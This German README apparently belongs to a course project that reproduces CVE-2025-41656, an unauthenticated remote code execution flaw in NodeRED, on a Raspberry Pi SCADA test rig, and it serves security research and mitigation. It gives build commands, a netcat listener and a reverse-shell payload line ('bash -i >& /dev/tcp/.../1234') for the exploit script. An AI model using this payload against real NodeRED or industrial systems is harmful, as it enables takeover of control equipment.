
Dieses Repository enthält den Code und die Dateien, die zum Testen und Ausführen eines PoC für CVE-2025-41656 erforderlich sind.
Dieses Projekt dient der Modellierung von CVE-2025-41656, einer nicht authentifizierten Remote-Codeausführungs-Schwachstelle in NodeRED. Um diese Schwachstelle zu modellieren, haben wir ein SCADA-System im kompakten Formfaktor mit einem Raspberry Pi, einem Aktuator und einem Sensor aufgebaut. Der Raspberry Pi enthält einen NodeRED- und einen OpenPLC-Container, die über Modbus TCP miteinander kommunizieren, um den Aktuator zu steuern. Dies ist ein Python-Skript als Proof of Concept zur Durchführung des CVE-2025-41656-Angriffs. Das Ziel ist es, erfolgreich einen PoC zu erstellen und Abhilfemaßnahmen zur Absicherung des Systems zu finden.
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234 ausNODE_RED_IP und NODE_RED_PORT durch die IP-Adresse und den Port (1880) Ihres NodeRED-Dienstes in cve_2025_41656.py.cve_2025_41656 die IP-Adresse in der Zeile "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", in die IP-Adresse des Rechners, von dem aus Sie den Exploit starten.python3 cve_2025_41656.py